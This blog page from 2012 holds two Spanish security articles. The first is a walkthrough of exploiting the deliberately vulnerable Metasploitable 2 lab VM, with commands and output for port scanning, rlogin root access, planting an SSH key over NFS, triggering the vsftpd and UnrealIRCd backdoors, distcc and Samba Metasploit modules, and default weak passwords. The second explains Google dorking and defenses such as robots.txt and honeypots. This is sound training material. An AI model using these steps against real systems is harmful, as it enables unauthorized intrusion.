miércoles, 13 de junio de 2012

Guía de Explotabilidad de Metasploitable 2

Metasploitable 2


La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net y contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos evidentes en esta plataforma se vayan encontrando.


Primeros Pasos


Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadmin y contraseña msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP. 

msfadmin@metasploitable:~$ ifconfig
 
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1



Servicios


Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:

root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En la siguiente sección, caminaremos a través de algunos de estos vectores.



Servicios: Báses de Unix


Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.

# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#


Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-common para seguir adelante. 

root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *


Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al archivo authorized_keys de la cuenta de usuario root:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#



Servicios: Backdoors


En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de Metasploit Framework para explotarlo automáticamente:

root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)


En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)


Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un servidor comprometido. Accederlo es fácil:

root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)



Servicios: Backdoors No-Intencionales


Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)


Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.

root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]


Contraseñas Débiles


Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeración de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas débiles del sistema están configuradas en el sistema.

Nombre CuentaContraseña
msfadminmsfadmin
useruser
postgrespostgres
sysbatman
klog123456789
serviceservice


Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC proporciona el acceso de escritorio remoto a través de la contraseña password.



Crossposted from Metasploitable 2 Exploitability Guide

lunes, 11 de junio de 2012

Cómo defendernos de los Google Hackers

Antes de ver como podemos prevenir ser víctimas de los Google hackers, veamos que es Google Hacking. 

Google Hacking: 
Google hacking es una técnica de hacking que utiliza Google Search y otras aplicaciones de Google para encontrar brechas de seguridad en la configuración y en el código que utilizan los sitios web. –Wikipedia. 

Google es un motor de búsqueda muy potente y es capaz de hacer muchas cosas que son muy útiles para un hacker. Utilizando simples dorks de Google, es posible hackear un sitio web y muchos desarrolladores web no logran protegerse a sí mismos o a la información de sus clientes de tales ataques. Por ejemplo, usando Google dorks, el atacante puede extraer información diversa, tal como detalles de configuración de una base de datos, nombres de usuario, contraseñas, listados de directorios, mensajes de error, etc. Por ejemplo: 

intitle:index.of.config 

Estos directorios pueden dar información sobre la configuración de un servidor web. Esta información no está destinada a ser pública ya que contiene archivos con contraseñas dependiendo del nivel de seguridad. También puede contener información sobre los distintos puertos y permisos de seguridad.

La razón principal de estas fugas de información es una política de seguridad inadecuada en relación con la información que se publica en Internet. Existen unos pocos métodos con los cuales podemos proteger nuestro servidor web.

Un servidor web de acceso público se utiliza por lo regular para almacenar información a la que se accede públicamente desde internet y si en realidad nos encontramos preocupados por mantener la información de manera privada, entonces la forma más fácil y adecuada es mantenerla lejos de este tipo de servidores. A pesar de que tales archivos o documentos se puedan mantener aislados, es fácil tener acceso a dichas páginas. Todos conocemos los riesgos asociados con el hecho de que se muestren los listados directorios, los cuales pueden permitir a un usuario ver la mayoría de los archivos almacenados en el directorio raíz principal y sus subdirectorios, etc. Algunas veces, incluso el archivo .htaccess se muestra en el listado, este archivo es utilizado para proteger los contenidos de contenido del directorio del acceso no autorizado, pero una simple mala configuración puede permitir que este archivo se muestre en la lista y se pueda también conocer su contenido. Esto también es debido a que muchos administradores tienen la costumbre de cargar información importante en sus servidores para permitir el acceso desde cualquier lugar y que luego dichos contenidos son indexados por los rastreadores de los buscadores web. Una de las reglas simples puede ser que los administradores de los sitios web agreguen un archivo robots.txt que define lugares específicos del directorio principal, de forma tal que el motor de búsqueda no lo explore y no lo almacene en su caché. Para protegernos de los buscadores, podemos utilizar el archivo robots.txt para evitar la indexación de tales documentos o directorios.

Ejemplo: User-agent: *Disallow: /documentos


También, para bloquear páginas web específicas o si no queremos que una página en particular sea indexada por algún motor de búsqueda, podemos utilizar algo como el meta tag "meta name=’spider_name’ content=’NOarchive’"


Ejemplos de Robots.txt

El siguiente ejemplo permite a todos los robots visitar todos los archivos:

User-agent: * 
Disallow: 


Esta entrada mantendrá alejados los robots de todos los directorios:

User-agent: * 
Disallow: / 


Podemos especificar directorios particulares que no queremos que sean indexados. El siguiente ejemplo mantendrá alejados los robots del directorio /infosec/ y sus subdirectorios:

User-agent: * 
Disallow: /infosec/ 


Al no incluir el / final, también podemos evitar que las arañas (web spiders) hagan rastreo de los archivos contenidos en dicho directorio.


El siguiente ejemplo evitará que los robots de Google (googlebots) rastreen cualquier cosa en nuestro sitio, pero permite que otros robots accedan a todo el sitio:

User-agent: googlebot 
Disallow: / 


La siguiente meta-etiqueta (meta tag) evitará que todos los robots puedan rastrear cualquier enlace en nuestro sitio:

<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">


También podemos denegar o permitir que ciertas arañas puedan utilizar esta etiqueta:

Ejemplo: <META NAME="GOOGLEBOT" CONTENT="NOINDEX, NOFOLLOW">


Para obtener mayor información, podemos visitar: http://www.robotstxt.org/wc/exclusion.html#meta.

El dork de Google para verificar la existencia del archivo .htaccess es intitle:index of “.htaccess”
Esto mostrará los sitios web que tienen el archivo .htaccess en un listado de directorios. 

El listado de directorios debería ser deshabilitado a menos que este sea requerido. El listado de directorios también ocurre cuando el archivo principal del sitio web (index.html, index.php, etc.) definido en el servidor web, se encuentra ausente. En servidores web apache, podemos deshabilitar los listados de directorios utilizando un guión o un símbolo menos (-) antes de la palabra Indexes en al archivo httpd.config.


Verifiquemos nuestros sitios: 

Este artículo intenta mostrar como podemos verificar nuestro propio sitio web con el fin de tener una idea de los posibles riesgos de seguridad y prevenirlos mediante pruebas manuales y automatizadas. Muchos desarrolladores web no conocen de hacking web o de otras técnicas de pruebas de penetración como si lo sabe un pentester. En este tema cubriremos como prevenir que nuestro sitio web sea víctima del Google hacking. Podremos observar nuestro sitio desde la perspectiva de Google. 

Iniciando con un método manual, el dork de Google más común y simple es la palabra clave site. Esta palabra se puede utilizar si queremos limitar los resultados de búsqueda de un dominio o servidor específico. Por ejemplo site:amazon.com puede listar todas las páginas del dominio amazon.com almacenadas en el caché de Google. 


Ahora podemos hacer click y abrir todos los enlaces listados y verificar si la información mostrada es supuestamente pública o no, pero parece que esto nos puede tomar bastante tiempo si los resultados de la búsqueda contienen cientos o miles de enlaces. Entonces, de acuerdo a este escenario, podemos optar por unas pruebas automatizadas.
 

Las herramientas que veremos son:
  • Gooscan
  • Sitedigger
  • Wikto


Gooscan: 

Gooscan es una herramienta basada en Linux y puede utilizarse para realizar búsquedas por volumen en Google. Esta herramienta viola los Términos de Servicio de Google (Google TOS) ya que no utiliza la API de Google. Y si utilizamos una herramienta tal que viole Google TOS, entonces podemos esperar que obtengamos algunas direcciones IP bloqueadas.

Opciones de Gooscan:

Hay una lista de opciones disponibles en esta herramienta para obtener varios resultados. Hay dos parámetros requeridos que tienen que pasarse para realizar el análisis y otros opcionales.

Los parámetros requeridos son:
  • -t target: Este es utilizado para analizar un sitio objetivo. Un objetivo puede ser un nombre de máquina o una dirección IP. 
  •  -q query | -I query_file: Este parámetro se utiliza para realizar una búsqueda esperando obtener un resultado específico. El parámetro –q toma solo un parámetro simple o en otras palabras, un dork de Google simple. Por ejemplo: -q intitle:index of ".htaccess" 

La herramienta también puede tomar múltiples búsquedas que pueden ser leidas de un archivo de texto simple.
Los parámetros opcionales son:
  • -o output_file: Si deseamos crear un archivo .html de resultados. Este contendrá todos los enlaces que fueron obtenidos como resultado de la búsqueda.
  • -p proxy:port: Para utilizar un servidor proxy de html.
  • -v: Modo detallado (Verbose mode). 
  • -s site: Como lo vimos anteriormente, puede utilizarse para obtener los resultados de un sitio o dominio específico. 


Utilizando Gooscan:

Gooscan puede utilizarse de dos formas, enviando una consulta simple o enviando múltiples consultas. Un simple ejemplo puede ser:

Gooscan –q "hack" –t www.google.com –s amazon.com


Para crear un archivo html con los resultados obtenidos

Gooscan –q "hack" –t www.google.com –o amazon.html

Realizar una búsqueda con múltiples consultas utilizando Gooscan puede causar problemas. Con el fin de evitar esto, podemos enviar pequeños lotes de consultas en lugar de enviar una grán cantidad de archivos. 

Para crear un pequeño archivo de datos, utilizamos el comando head.

Head -5 data_files.gdork.gs > data_files/small_dorks.gs

Gooscan –t www.google.com –i data_files/small_dorks.gs –o multiplequeries.html 


Una vez se haya creado el archivo de resultados, hacemos click en los enlaces que veamos sospechosos.


SiteDigger: 

La primera y mas básica herramienta es SiteDigger, creada por Foundstone (ahora propiedad de McAfee). Sitedigger se integra con la base de datos de Google hacking database y hace uso de la API de Google. Sitedigger nos permite seleccionar únicamente un sitio para hacer pruebas y seleccionar aquellas firmas de Google hacking que queremos ejecutar en este o también seleccionar cualquier categoría de dork y ejecutar la consulta, la cual mostrará los enlaces resultantes correspondientes. Seleccionamos cualquier consulta y hacemos click, los elances se mostrarán en los resultados.




Wikto:

Wikto es otra herramienta que es utilizada para Google hacking. Es una completa herramienta de análisis web, lo que significa que podemos utilizar esta herramienta para probar el servidor y las aplicaciones que corren en este. Para realizar Google hacking, tenemos un applet llamado Googler. Este applet buscará ciertos tipos de archivos en el índice de Google los cuales son importados y utilizados como backend. Existe otro applet que puede utilizarse en Wikto y es llamado GoogleHacks el cual importa la base de datos de Google Hacking (GHDB) y ejecuta las consultas desde GHDB automáticamente para cualquier sitio web.



Google Hack Honeypot: 

Google Hack Honeypot (GHH) está diseñado para proveer reconocimiento contra atacantes que utilizan motores de búsqueda como herramienta de hacking. Este implementa el concepto de honeypot para proporcionar seguridad adicional a nuestro sitio web. El mejor factor de esto es que nos permite monitorear cualquier intento de los atacantes en comprometer nuestra seguridad. GHH también tiene una funcionalidad de registro de eventos que podemos administrar y tomar las acciones correspondientes.

Podemos descargar esta herramienta de http://ghh.sourceforge.net/ 

Detalles sobre su instalación en http://ghh.sourceforge.net/gettingstarted.php 



Conclusión: 

Es esencial seguir las buenas prácticas de desarrollo seguro e implementar revisiones de seguridad de código en este alcance. Para un mejor entendimiento, podemos remitirnos a la guía OWASP para seguir las mejores prácticas. También existe una opción para solicitar la remoción inmediata del contenido del índice de Google. Esto puede lograrse mediante el envío de una solicitud a Google después de registrarse a través de una cuenta de Google en el sistema de eliminación automática de URLs de Google, ya sea después de crear las etiquetas META o el archivo 'robots.txt' en el servidor web.


Crossposted from Defending yourself from Google hackers